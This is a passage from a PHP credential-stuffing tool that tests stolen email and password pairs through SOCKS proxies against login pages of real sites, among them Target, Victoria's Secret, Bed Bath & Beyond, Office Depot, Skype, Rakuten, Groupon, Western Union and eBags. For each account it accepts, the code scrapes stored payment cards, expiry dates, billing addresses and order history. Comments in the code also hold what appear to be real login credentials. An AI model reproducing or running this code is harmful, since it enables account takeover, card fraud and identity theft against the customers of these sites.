4271 {
4272 $page = $curl->get("https://www.datafile.com/profile.html");
4273 $status = strip_tags(getStr($page,'<tr><td class="name ">Premium Expires:</td>','</tr>'));
4274 $page = $curl->get("https://www.datafile.com/profile/fs-accounts.html");
4275 if(strpos($page,'No fs accounts'))
4276 {
4277 $acc = "No download account";
4278 }
4279 else
4280 {
4281 $acc = "Have download account";
4282 }
4283 $file = getStr($page,'<div class="item active-files">Files: <span class="lime">','</span>');
4284 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | Files: $file | $status | $acc";
4285 flush(); ob_flush();
4286 }
4287 else
4288 {
4289 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4290 '<br>';
4291 }
4292
4293 }
4294 else
4295 {
4296 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4297 '<br>';
4298 }
4299 $curl->close();
4300 unset($curl); // destroy object
4301
4302}
4303function target($m,$p,$sock)
4304{
4305 $curl = new curl;
4306 $curl->cookiefile(null);
4307 $curl->timeout("30");
4308 if($sock) {$curl->proxy($sock);}
4309 $curl->ssl(0, 2);
4310
4311 $url1 = "https://m-secure.target.com/mEverestLogin";
4312
4313
4314 $page = $curl->get($url1);
4315 if ($page) {
4316
4317 $data = "storeId=10151&catalogId=10051&langId=-1&reLogonURL=mEverestLoginView&rememberMe=true&migrationRequired=&listId=&channel=mobile&type=&partNumber=&productTitle=&catentryId=&redirectToURL=mAccount_userhome¤tUrl=mAccount_userhome&logonId=$m&logonPassword=$p&AccountSignIn=sign+in";
4318 $page = $curl->post($url1, $data, 1, 1, 0);
4319
4320
4321 if (strpos($page, "welcome back")) {
4322
4323
4324 $page = $curl->get('https://m-secure.target.com/mAccount_managewalletview?catalogId=10051&storeId=10151&langId=-1&sortField=');
4325 $card = getStr($page,'<section class="cardBlock">','<div class="right_element">');
4326 $card = strip_tags($card);
4327 $card = str_replace("\n", "", $card);
4328 $card = str_replace("<br />", "", $card);
4329 $card = str_replace("billing address", "|", $card);
4330 $card = str_replace(" / ", "/", $card);
4331 $card = str_replace("Expires ", "Expires 0", $card);
4332 $card = "<font color=lime>[ ".$card." ]</font>";
4333 if($card == '')
4334 {
4335 $card = 'No Card';
4336 }
4337 $page = $curl->get('https://m-secure.target.com/mAccount_manageorderlist?langId=-1&storeId=10151&catalogId=10051&searchMode=Sales&channel=mobile');
4338 if(strpos($page,'Currently there are no orders to be displayed.'))
4339 {
4340 $card .= ' | No Order';
4341 }
4342 else
4343 {
4344 $card .= " | Have Order";
4345 }
4346
4347 $info = "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $card | ";
4348
4349 return $info;
4350
4351 } else {
4352 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4353 '<br>';
4354
4355 }
4356 flush(); ob_flush();
4357 }
4358 else
4359 {
4360 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4361 '|' . '<br>';
4362 }
4363 $curl->close();
4364 unset($curl); // destroy object
4365
4366 }
4367function victoriasecret($m,$p,$sock)
4368{
4369 $curl = new curl;
4370 $curl->cookiefile(null);
4371 $curl->timeout("30");
4372 if($sock) {$curl->proxy($sock);}
4373 $curl->ssl(0, 2);
4374
4375 $url1 = "https://www.victoriassecret.com/account/logon";
4376
4377
4378 $page = $curl->get($url1);
4379 if ($page) {
4380 $curl->referer("https://www.victoriassecret.com/account/signin/overlay/success");
4381 $data = "loginredirect=%2Faccount%2Fsignin%2Foverlay%2Fsuccess&overlay=true&j_username=$m&j_password=$p&screenname=Your+Account";
4382 $page = $curl->post($url1, $data, 1, 1, 0);
4383
4384 //echo $page;
4385 if (!strpos($page, "Please try again")) {
4386 $page = $curl->get("https://www.victoriassecret.com/account/updateBillingInfo");
4387 $bill = getStr($page,'name="firstName" type="text" data-vtype="name" autocorrect="off" value="','"')." ".getStr($page,'name="lastName" type="text" data-vtype="name" autocorrect="off" value="','"')." | ".getStr($page,'name="streetAddr1" value="','"')." | ".getStr($page,'type="text" id="city" value="','"')." | ".getStr(getStr($page,'Please Select a State" data-casl="true" required> <option value="">Select</option>','<label for="zip">'),'selected>','<')." | ".getStr($page,'data-vtype="uscazip" value="','"')." | ".getStr($page,'type="tel" id="day-phone" value="','"');
4388
4389 $page = $curl->get("https://www.victoriassecret.com/account/profile/updateCard");
4390 $type = getStr($page,'name="creditCardType" id="creditCardType" value="','"');
4391 $array = array ( "Z" => "Victoria's Secret Angel Card",
4392 "V" => "VISA",
4393 "M" => "MasterCard",
4394 "A" => "American Express",
4395 "D" => "Discover",
4396 "U" => "China Union Pay Credit Card Only",
4397 "J" => "JCB");
4398 $number = getStr($page,'name="cardNumber" value="','"');
4399
4400 preg_match_all("/<option value=\"(.*)\"selected>/", $page, $matches2);
4401
4402 $cc = "[".$array[$type]."-".$number."-".getStr($page,'</option><option value="','"')."/".$matches2[1][1];
4403 $page = $curl->get("https://www.victoriassecret.com/account/orderhistory");
4404 if(!strpos($page,'There are no orders'))
4405 {
4406 $order = "Have Order";
4407 }
4408 else
4409 {
4410 $order = "No Order";
4411 }
4412 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $cc | $bill | ";
4413 }
4414 elseif (strpos($page, "Please try again")) {
4415 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4416 '<br>';
4417 $tdie++;
4418 } else {
4419 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4420 '|' . '<br>';
4421 }
4422 flush(); ob_flush();
4423
4424 $curl->close();
4425 unset($curl); // destroy object
4426 }
4427 else
4428 {
4429 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4430 '|' . '<br>';
4431 }
4432}
4433function bedbathandbeyond($m,$p,$sock)
4434{
4435 //pycoder@live.com|Quocthang1
4436 $curl = new curl;
4437 $curl->cookiefile(null);
4438 $curl->timeout("30");
4439 if($sock) {$curl->proxy($sock);}
4440 $curl->ssl(0, 2);
4441
4442 $url1 = "https://www.bedbathandbeyond.com/store/account/login.jsp?_DARGS=/store/account/frags/login_frag.jsp";
4443
4444
4445 $page = $curl->get($url1);
4446 if ($page) {
4447 $dyn = getStr($page,'name="_dynSessConf" value="','"');
4448 $data = "_dyncharset=UTF-8&_dynSessConf=$dyn&email=$m&_D%3Aemail=+&loginPasswd=$p&_D%3AloginPasswd=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.reclaimLegacyAccountSuccessURL=%2Fstore%2Faccount%2Fcreate_account.jsp&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.reclaimLegacyAccountSuccessURL=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.reclaimLegacyAccountIncorrectPasswordURL=%2Fstore%2Faccount%2Flogin.jsp&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.reclaimLegacyAccountIncorrectPasswordURL=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.regularLogin=Sign+In&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.regularLogin=+&%2Fcom%2Fbbb%2Fcommerce%2Forder%2Fpurchase%2FCheckoutProgressStates.currentLevel=SHIPPING_SINGLE&_D%3A%2Fcom%2Fbbb%2Fcommerce%2Forder%2Fpurchase%2FCheckoutProgressStates.currentLevel=+&_DARGS=%2Fstore%2Faccount%2Ffrags%2Flogin_frag.jsp";
4449 $page = $curl->post($url1, $data, 1, 1, 0);
4450
4451 if (!strpos($page, "Sign In")) {
4452 $page = $curl->get("https://www.bedbathandbeyond.com/store/account/order_summary.jsp");
4453 if(strpos($page,'No orders found.'))
4454 {
4455 $order = "No Order";
4456 }
4457 else
4458 {
4459 $order = "Have Order";
4460 }
4461 $page = $curl->get("https://www.bedbathandbeyond.com/store/account/view_credit_card.jsp");
4462 if(!strpos($page,'ending with:'))
4463 {
4464 $card = "No Card";
4465 }
4466 else
4467 {
4468 $card = "[".getStr($page,'ending with: ','<br/>')."-".getStr($page,'Exp: ','<br/>')."]";
4469 }
4470 $page = $curl->get("https://www.bedbathandbeyond.com/store/account/address_book.jsp");
4471 $bill = getStr($page,'<div class="grid_4 noMar">','Edit </a>');
4472 $bill = strip_tags($bill);
4473 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $card | $bill | ";
4474 }
4475 elseif (strpos($page, "Sign In")) {
4476 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4477 '<br>';
4478 $tdie++;
4479 } else {
4480 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4481 '|' . '<br>';
4482 }
4483 flush(); ob_flush();
4484
4485 $curl->close();
4486 unset($curl); // destroy object
4487 }
4488 else
4489 {
4490 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4491 '|' . '<br>';
4492 }
4493}
4494function officedepot($m,$p,$sock)
4495{
4496 //pycoder@live.com|Quocthang1
4497 $curl = new curl;
4498 $curl->cookiefile(null);
4499 $curl->timeout("30");
4500 if($sock) {$curl->proxy($sock);}
4501 $curl->ssl(0, 2);
4502
4503 $url1 = "https://www.officedepot.com/account/loginAccountSet.do";
4504
4505
4506 $page = $curl->get($url1);
4507 if ($page) {
4508 $user = rm($m);
4509 $data = "loginName=$m&password=$p&confirmationRequired=false&reqLevel=ACCOUNT&loginDestination=https%3A%2F%2Fwww.officedepot.com%2Faccount%2FloginAccountDisplay.do&loginDestinationForDWRrequest=http%3A%2F%2Fwww.officedepot.com%2F&loginDestination=https%3A%2F%2Fwww.officedepot.com%2Faccount%2FloginAccountDisplay.do&loginDestinationForDWRrequest=http%3A%2F%2Fwww.officedepot.com%2F";
4510 $page = $curl->post($url1, $data, 1, 1, 0);
4511
4512
4513 if (!strpos($page, "Please try again") && !strpos($page,'Attention')) {
4514 $page = $curl->get("https://www.officedepot.com/account/accountSummaryDisplay.do");
4515 $info = strip_tags(getStr($page,'<h3 class="h4">Shipping Address</h3>',"<li class='email required'>"));
4516 $card = strip_tags(getStr($page,'<div id="paymentInner">',"</ol>"));
4517
4518 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $card | $info";
4519 } elseif (strpos($page, "Please try again")) {
4520 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4521 '<br>';
4522 $tdie++;
4523 } else {
4524 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4525 '|' . '<br>';
4526 }
4527 flush(); ob_flush();
4528
4529 $curl->close();
4530 unset($curl); // destroy object
4531 }
4532 else
4533 {
4534 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4535 '|' . '<br>';
4536 }
4537}
4538function skype($m,$p,$sock)
4539{
4540 $curl = new curl;
4541 $curl->cookiefile(null);
4542 $curl->timeout("30");
4543 if($sock) {$curl->proxy($sock);}
4544 $curl->ssl(0, 2);
4545
4546 $url1 = "https://login.skype.com/login?application=account&return_url=https%3A%2F%2Fsecure.skype.com%2Faccount%2Flogin";
4547
4548
4549 $page = $curl->get($url1);
4550 if ($page) {
4551 $pie = getStr($page,'id="pie" value="','"');
4552 $etm = getStr($page,'id="etm" value="','"');
4553 $token = getStr($page,'session_token" value="','"');
4554 $user = rm($m);
4555 $time = time()+100;
4556
4557 $data = "username=$user&password=$p&timezone_field=%2B07%7C00&pie=$pie&etm=$etm&js_time=".$time."&session_token=$token&application=account&return_url=https%3A%2F%2Fsecure.skype.com%2Faccount%2Flogin";
4558 $page = $curl->post($url1, $data, 1, 1, 0);
4559
4560
4561 if (inStr($page,array("My account"))) {
4562 $cre = getStr($page,'profile.CreditBalance=','"');
4563
4564 return "<font color=yellow><b>Live</b></font> | $sock | Username: $user | $m | $p @@@@ | $cre";
4565 }
4566 elseif (inStr($page,array("Signing in failed")) || inStr($page,'Incorrect password')) {
4567
4568 $time = time()+105;
4569 $post = "username=skypecheckpy&password=pycoder123&timezone_field=%2B07%7C00&pie=$pie&etm=$etm&js_time=".$time."&session_token=$token&application=account&return_url=https%3A%2F%2Fsecure.skype.com%2Faccount%2Flogin";
4570 $page = $curl->post($url1, $post, 1, 1, 0);
4571
4572 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4573 '<br>';
4574 $tdie++;
4575 } else {
4576 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4577 '|' . '<br>';
4578 }
4579 flush(); ob_flush();
4580
4581 $curl->close();
4582 unset($curl); // destroy object
4583 }
4584 else
4585 {
4586 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4587 '|' . '<br>';
4588 }
4589}
4590function buy($m,$p,$sock)
4591{
4592 //pycoder@live.com|quocthang
4593 $curl = new curl;
4594 $curl->cookiefile(null);
4595 $curl->timeout("30");
4596 if($sock) {$curl->proxy($sock);}
4597 $curl->ssl(0, 2);
4598
4599 $url1 = "https://secure.rakuten.com/AC/loginAccount.aspx?ReturnUrl=myaccount.aspx";
4600
4601
4602 $page = $curl->get($url1);
4603 if ($page) {
4604 $state = getStr($page,'id="__VIEWSTATE" value="','"');
4605 $vali = getStr($page,'id="__EVENTVALIDATION" value="','"');
4606 $data = "__LASTFOCUS=&__EVENTTARGET=ctl00%24ContentPlaceHolder1%24btnLogin&__EVENTARGUMENT=&__VIEWSTATE=".urlencode($state)."&__EVENTVALIDATION=".urlencode($vali)."&ctl00%24ContentPlaceHolder1%24txtShopperEmail=".urlencode($m)."&ctl00%24ContentPlaceHolder1%24txtShopperPassword=".urlencode($p)."&ctl00%24ContentPlaceHolder1%24txtShopperPasswordPH=&ctl00%24ContentPlaceHolder1%24txtNewEmail=&ctl00%24ContentPlaceHolder1%24txtNewPassword=";
4607 $page = $curl->post($url1, $data, 1, 1, 0);
4608
4609
4610 if (!strpos($page, "incorrect") && !strpos($page,'Attention')) {
4611 $page = $curl->get("https://secure.rakuten.com/AC/Account/PaymentBook.aspx");
4612 preg_match_all("/ContentPlaceHolder1_listViewPayments_lblPaymentName_(.*)\" class=\"Black12pt\"/", $page, $match);
4613 foreach ($match[1] as $key) {
4614 $card .= " [".getStr($page,'<span id="ContentPlaceHolder1_listViewPayments_lblPaymentName_'.$key.'" class="Black12pt">','</span></td>')."-".getStr($page,'<span id="ContentPlaceHolder1_listViewPayments_lblCCDisplayable_'.$key.'" class="Black12pt">','</span></td>')."-".getStr($page,'<span id="ContentPlaceHolder1_listViewPayments_lblExpirationDate_'.$key.'" class="Black12pt">','</span></td>')."]";
4615 }
4616 $page = $curl->get("https://secure.rakuten.com/AC/Account/OrderHistory.aspx");
4617 if(strpos($page,'You have no order history to display.'))
4618 {
4619 $order = "No Order";
4620 }
4621 else
4622 {
4623 $order = getStr($page,'<span id="ContentPlaceHolder1_listViewOrders_listViewItems_0_ctrl0_0_lblItemStatus_0" class="Blue12pt">','</span></b>')."-".getStr($page,'<span id="ContentPlaceHolder1_listViewOrders_lblOrderDate_0">','</span></td>');
4624 }
4625 $page = $curl->get("https://secure.rakuten.com/AC/Account/AddressBook.aspx");
4626 $info = getStr($page,'<td valign="bottom" align="left" style="padding:5px;padding-right:50px;">','<td colspan="2" style="padding-top:10px;">');
4627 $info = str_replace("<div style='padding-top:2px;'>", " ", $info);
4628 $info = strip_tags($info);
4629 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $card | $info";
4630 } elseif (strpos($page, "incorrect")) {
4631 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4632 '<br>';
4633 $tdie++;
4634 } else {
4635 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4636 '|' . '<br>';
4637 }
4638 flush(); ob_flush();
4639
4640 $curl->close();
4641 unset($curl); // destroy object
4642 }
4643 else
4644 {
4645 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4646 '|' . '<br>';
4647 }
4648}
4649
4650function woot($m,$p,$sock)
4651{
4652 $curl = new curl;
4653 $curl->cookiefile(null);
4654 $curl->timeout("30");
4655 if($sock) {$curl->proxy($sock);}
4656 $curl->ssl(0, 2);
4657
4658 $url1 = "https://account.woot.com/signin?returnUrl=%2F";
4659
4660
4661 $page = $curl->get($url1);
4662 if ($page) {
4663 $user = rm($m);
4664 $token = getStr($page,'__RequestVerificationToken" type="hidden" value="','"');
4665 $data = "__RequestVerificationToken=$token&username=$user&password=$p";
4666 $page = $curl->post($url1, $data, 1, 1, 0);
4667
4668 //return $page;
4669 if (!strpos($page, "Give it another shot") && !strpos($page,'try the audio version')) {
4670 $page = $curl->get("https://account.woot.com/paymentsettings");
4671 $info = strip_tags(getStr($page,'<h4>Shipping Address:</h4>','<div class="payment-method">'));
4672 $card = strip_tags(getStr($page,'<div class="payment-method">','<div class="billing-address">'));
4673
4674 return "<font color=yellow><b>Live</b></font> | $sock | $user | $p | $m @@@@ | $card | $info | ";
4675 } elseif (strpos($page, "Give it another shot")) {
4676 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4677 '<br>';
4678 $tdie++;
4679 } else {
4680 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4681 '|' . '<br>';
4682 }
4683 flush(); ob_flush();
4684
4685 $curl->close();
4686 unset($curl); // destroy object
4687 }
4688 else
4689 {
4690 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4691 '|' . '<br>';
4692 }
4693}
4694function westernunion($m,$p,$sock)
4695{
4696 $curl = new curl;
4697 $curl->cookiefile(null);
4698 $curl->timeout("30");
4699 if($sock) {$curl->proxy($sock);}
4700 $curl->ssl(0, 2);
4701
4702 $url1 = "https://wumt.westernunion.com/WUCOMWEB/staticMid.do?method=load&countryCode=US&languageCode=en&pagename=osMoneyTransferOptions";
4703 $url2 = "https://wumt.westernunion.com/WUCOMWEB/signInAction.do?method=save&USRegFlow=signInFlow";
4704
4705 $page = $curl->get($url1);
4706 if ($page) {
4707 $user = rm($m);
4708 $token = getStr($page,'name="tokenKey" value="','"');
4709 $session = getStr($page,'name="sessionString" value="','"');
4710 $session = str_replace(array("_","=","[","@",";"), array("_",'=','[','@',';'), $session);
4711 $data = "tokenKey=$token&sessionString=$session&existingUserFlag=true&cdvFlag=&targetPageName=mtOptionsPageLoad&blackBox=&signinVO.userName=$m&signinVO.password=$p&signinVO.source=globalSigninForward&countryCode=US&languageCode=en&isErrorOccured=null&languageChangeFlag=null&changeFlow=null&qcchangeFlow=null&isISEEnabled=false&OMNITURE_SESSION_ID=hB7iueUT9U5wkMLflcyO&httpReferer=https%3A%2F%2Fwumt.westernunion.com%2FWUCOMWEB%2FstaticMid.do%3Fmethod%3Dload&nextSecurePage=Y&method=save&cipEnabled=true";
4712 $page = $curl->post($url2, $data, 1, 1, 0);
4713 //echo $page;
4714 //return $page;
4715 if (!strpos($page, "We cannot complete your request") && !strpos($page,'Please try again')) {
4716 $page = $curl->get("https://www.westernunion.com/dashboard/");
4717 //$page = $curl->get("https://www.westernunion.com/dashboard/?REF_ID=".getStr($page,'hiddenField.setAttribute("value", "','"'));
4718 $url = "https://www.westernunion.com/dashboard/overview";
4719 $post = "login_form:login_email=".$m."&login_form:login_password=".$p;
4720 $page = $curl->post($url, $post, 1, 1, 0);
4721 echo "<textarea>".$page."</textarea>";
4722 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $card | $info | ";
4723 }
4724 elseif (strpos($page, "We cannot complete your request") || strpos($page,'Please try again')) {
4725 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4726 '<br>';
4727 $tdie++;
4728 } elseif(strpos($page,'The page cannot be found')){
4729 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4730 '|' . '<br>';
4731 }
4732 flush(); ob_flush();
4733
4734 $curl->close();
4735 unset($curl); // destroy object
4736 }
4737 else
4738 {
4739 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4740 '|' . '<br>';
4741 }
4742}
4743function groupon($m,$p,$sock)
4744{
4745 //pycoder@live.com|quocthang
4746 $curl = new curl;
4747 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
4748 $curl->cookiefile($cookie);
4749 $curl->timeout("30");
4750 if($sock != '') {$curl->proxy($sock);}
4751 $curl->ssl(0, 2);
4752
4753 $url1 = "https://www.groupon.com/login";
4754 $url2 = "https://www.groupon.com/login?ref=%2F";
4755
4756 $page = $curl->get($url1);
4757 if ($page) {
4758 $curl->referer($url1);
4759 $token = getStr($page,'name="_csrf" value="','"');
4760 $data = "_csrf=$token&email=$m&password=$p&remember_me=1";
4761 $page = $curl->post($url2, $data, 1, 1, 0);
4762
4763
4764 if (!strpos($page, "Incorrect login")) {
4765 $user = getStr($page,'user_id=',';');
4766 $page = $curl->get("https://www.groupon.com/users/$user/billing_records");
4767 $cc = getStr($page,"<span class='number'>",'</span>');
4768 $name = getStr($page,'Groupon.currentUser.name = "','"');
4769
4770 $bill = getStr($page,'name="billing_record[address1]" size="30" type="text" value="','"')." ".getStr($page,'name="billing_record[city]" size="30" type="text" value="','"')." ".getStr($page,'name="billing_record[zip]" size="30" type="text" value="','"');
4771
4772
4773 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $name | $cc | $bill";
4774 } elseif (strpos($page, "Incorrect login")) {
4775 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4776 '<br>';
4777 $tdie++;
4778 } else {
4779 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4780 '|' . '<br>';
4781 }
4782 flush(); ob_flush();
4783
4784 $curl->close();
4785 unset($curl); // destroy object
4786 }
4787 else
4788 {
4789 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4790 '|' . '<br>';
4791 }
4792}
4793function shoebuy($m,$p,$sock)
4794{
4795 $curl = new curl;
4796 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
4797 $curl->cookiefile($cookie);
4798 $curl->timeout("30");
4799 if($sock != '') {$curl->proxy($sock);}
4800 $curl->ssl(0, 2);
4801
4802 $url1 = "https://www.shoebuy.com/controller/cust/sign-in";
4803
4804 $page = $curl->get($url1);
4805 if ($page) {
4806 $curl->referer($url1);
4807
4808 $data = "isGuest=false&emailAddress=$m&password=$p";
4809 $page = $curl->post($url1, $data, 1, 1, 0);
4810
4811 if (strpos($page, '"success":true')) {
4812 $page = $curl->get("https://www.shoebuy.com/cust/account");
4813 if(strpos($page,'You have no recent orders'))
4814 {
4815 $order = "No Order";
4816 }
4817 else
4818 {
4819 $order = getStr($page,'<td class="order_id">','</td>')."-".getStr($page,'<td class="order_date">','</td>')."-".getStr($page,'<td class="order_status">','</td>');
4820 $order = strip_tags($order);
4821 $order = str_replace("[Track]", "", $order);
4822 }
4823 $bill = getStr($page,'<h3>Billing Address</h3>','<h3>Payment Method</h3>');
4824 $bill = strip_tags($bill);
4825 $page = explode('<div class="option">',$page);
4826 unset($page[0]);
4827 foreach ($page as $line) {
4828
4829 $card .= " [".getStr($line,'<div class="payment creditcardtype">','<div class="buttons actions">')."]";
4830 $card = str_replace(array("**** **** ****","Expires"), "-", $card);
4831 $card = strip_tags($card);
4832 }
4833 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $card | $bill";
4834 }
4835 elseif (!strpos($page, '"success":true')) {
4836 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4837 '<br>';
4838 $tdie++;
4839 } else {
4840 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4841 '|' . '<br>';
4842 }
4843 flush(); ob_flush();
4844
4845 $curl->close();
4846 unset($curl); // destroy object
4847 }
4848 else
4849 {
4850 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4851 '|' . '<br>';
4852 }
4853}
4854function ebags($m,$p,$sock)
4855{
4856 //pycoder@live.com|quocthang
4857 $curl = new curl;
4858 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
4859 $curl->cookiefile($cookie);
4860 $curl->timeout("30");
4861 if($sock != '') {$curl->proxy($sock);}
4862 $curl->ssl(0, 2);
4863
4864 $url1 = "https://www.ebags.com/members/SignInCustomer";
4865
4866 $page = $curl->get($url1);
4867 if ($page) {
4868 $curl->referer($url1);
4869
4870 $data = "SignInCustomer.CustomerEmail=$m&SignInCustomer.CustomerPassword=$p&RedirectAction=Index&RedirectOrderId=0&ShowOrderLookup=False&RedirectUrl=http%3A%2F%2Fwww.ebags.com%2F";
4871 $page = $curl->post($url1, $data, 1, 1, 0);
4872
4873 if(!$page)
4874 {
4875 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4876 '|' . '<br>';
4877 }
4878 elseif (!strpos($page, 'Or Create an Account')) {
4879 $page = $curl->get("https://www.ebags.com/members/index.cfm?fuseaction=edit_credit_secure");
4880 if(strpos($page,'You have no stored credit cards.'))
4881 {
4882 $card = "No Card";
4883 }
4884 else
4885 {
4886 preg_match_all("/<b>Card Type:<\/b>(.*)<br>/", $page, $type);
4887 preg_match_all("/<b>Card Number:<\/b>(.*)<br>/", $page, $num);
4888 preg_match_all("/<b>Expires:<\/b>(.*)<br>/", $page, $exp);
4889 $i = 0;
4890 while($i < count($type[1]))
4891 {
4892 $card .= "[".$type[1][$i]."-".$num[1][$i]."-".$exp[1][$i]."] ";
4893 $i++;
4894 }
4895 }
4896 $page = $curl->get("https://www.ebags.com/members/index.cfm?fuseaction=manage_address_secure");
4897 $bill = getStr($page,'<font class="sml">','</font>');
4898 $bill = str_replace("<br>", " | ", $bill);
4899 $bill = strip_tags($bill);
4900
4901 $page = $curl->get("https://www.ebags.com/members/index.cfm?fuseaction=TrackOrder_secure&Timeframe=Recent&YourAccount_Link=RecentOrders");
4902 if(strpos($page,"We're sorry. You have no open orders at present."))
4903 {
4904 $order = "No Order";
4905 }
4906 else
4907 {
4908 $order = getStr($page,'<td><font class="sml">','</tr>');
4909 $order = str_replace("</td>", "-", $order);
4910 $order = strip_tags($order);
4911 }
4912 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $card | $bill";
4913 }
4914 elseif (strpos($page, 'Or Create an Account')) {
4915 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4916 '<br>';
4917 $tdie++;
4918 } else {
4919 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4920 '|' . '<br>';
4921 }
4922 flush(); ob_flush();
4923
4924 $curl->close();
4925 unset($curl); // destroy object
4926 }
4927 else
4928 {
4929 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4930 '|' . '<br>';
4931 }
4932}
4933function puritan($m,$p,$sock)
4934{
4935 $curl = new curl;
4936 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
4937 $curl->cookiefile($cookie);
4938 $curl->timeout("30");
4939 if($sock != '') {$curl->proxy($sock);}
4940 $curl->ssl(0, 2);
4941
4942 $url1 = "https://www.puritan.com/scart/myaccount.asp";
4943
4944 $page = $curl->get($url1);
4945 if ($page) {
4946 $curl->referer($url1);
4947 $xs = getStr($page,'name="xs" value="','"');
4948 $data = "xs=$xs&lastaction=&cf=1&URL=%2Fscart%2Fmyaccount.asp&IhaveAccount=1&checkout=0&shippingAddress=0&WSID=1&UID=$m&PWD=$p&actionbtn.x=77&actionbtn.y=29&RedirectTo=";
4949 $page = $curl->post($url1, $data, 1, 1, 0);
4950
4951 if(!$page)
4952 {
4953 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4954 '|' . '<br>';
4955 }
4956 elseif (!strpos($page, 'Returning Customers')) {
4957 $page = $curl->get("https://www.puritan.com/scart/myaccount.asp?myaccount_action=orderhistory");
4958 if(strpos($page,'No history found for your account'))
4959 {
4960 $order = "No Order";
4961 }
4962 else
4963 {
4964 $order = "Have Order";
4965 }
4966 $page = $curl->get("https://www.puritan.com/scart/customer.asp?updBtn=1&bmsg=3");
4967 $bill = getStr($page,'name="BillTofname" size="24" value="','"')." ".getStr($page,'name="BillTolname" size="24" value="','"')." | ".getStr($page,'name="BillToaddress" value="','"')." | ".getStr($page,'name="BillToAptNum" value="','"')." | ".getStr($page,'name="BillTocity" size="24" value="','"')." | ".getStr(getStr($page,'<Select name="BillToStateID">','</tr>'),'Selected value="','"')." | ".getStr($page,'name="BillTozipcode" size="6" maxlength="5" value="','"');
4968
4969 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $card | $bill";
4970 }
4971 elseif (strpos($page, 'Returning Customers')) {
4972 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4973 '<br>';
4974 $tdie++;
4975 } else {
4976 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4977 '|' . '<br>';
4978 }
4979 flush(); ob_flush();
4980
4981 $curl->close();
4982 unset($curl); // destroy object
4983 }
4984 else
4985 {
